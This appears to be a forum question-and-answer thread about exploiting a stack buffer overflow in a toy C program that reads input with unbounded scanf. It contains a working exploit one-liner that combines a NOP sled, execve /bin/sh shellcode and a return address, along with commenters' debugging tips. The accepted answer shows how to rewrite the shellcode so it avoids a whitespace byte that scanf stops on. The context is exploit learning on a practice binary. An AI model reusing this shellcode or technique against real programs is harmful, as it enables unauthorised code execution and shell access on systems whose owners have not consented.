#include <stdio.h>

void secret()

void echo()
    char array[60];
    scanf("%s", array);
    printf("You entered: %s\n", array);    

int main()
    return 0;

above is the code which I am trying to exploit.

I have found the ebp address using gdb, although I know it's difficult to point to the exact location. I have used NOP sled technique

buffer size allocated - 0x44 - 68bytes

shell code is - 25 bytes

python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test

I am trying to jump somewhere in the middle of NOP sled.

And not getting a segmentation fault, but neither am I getting the access to the shell.

  • Did you check for bad characters? Commented Aug 29, 2018 at 10:09
  • Yes, I did. Actually, when I try to jump to the address where the secret function is, it works perfectly. Commented Aug 29, 2018 at 10:12
  • Take the one which is 28 bytes in length, you can find it in exploit-db od you can make your own. Probably shellcode is bad Commented Aug 29, 2018 at 10:57
  • tried the one which is 28 bytes in length and 23 bytes in length. got it from shellstorm, But same result. Commented Aug 29, 2018 at 11:47
  • Take a look at your disassembled HEX-shellcode and see if the ASM code makes sense. If it does and you still have the problem, TBH, I think it would be best for you to give us a complete walkthrough of the steps you took to reach that point. How you got the lengths, how you got the shellcode, how you found the bad characters and so on. Also, it'd be good to know what registers you take over and with what exact offset (look it up with Kali's pattern_create and pattern_offset). Commented Aug 30, 2018 at 6:46

1 Answer 1


The problem is the \x0b character in your shellcode. It is a whitespace character (VT, Vertical Tab) and scanf stops reading at whitespace characters.

You may replace \xb0\x0b by \xb0\x08\x40\x40\x40 which contains no whitespace characters.

b0 0b                   mov    al,0xb

is equivalent to

b0 08                   mov    al,0x8
40                      inc    eax
40                      inc    eax
40                      inc    eax 

There may exist shorter solutions.

  • If this answer turns out to be correct then I'd suggest migrating this question to StackOverflow, as this seems like more of a programming bug than a security-related problem. Commented Nov 13, 2022 at 18:58
  • Nevermind, the question and the answer are year(s) old so there's no way to know if this answer turned out to be right. Commented Nov 13, 2022 at 18:58

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .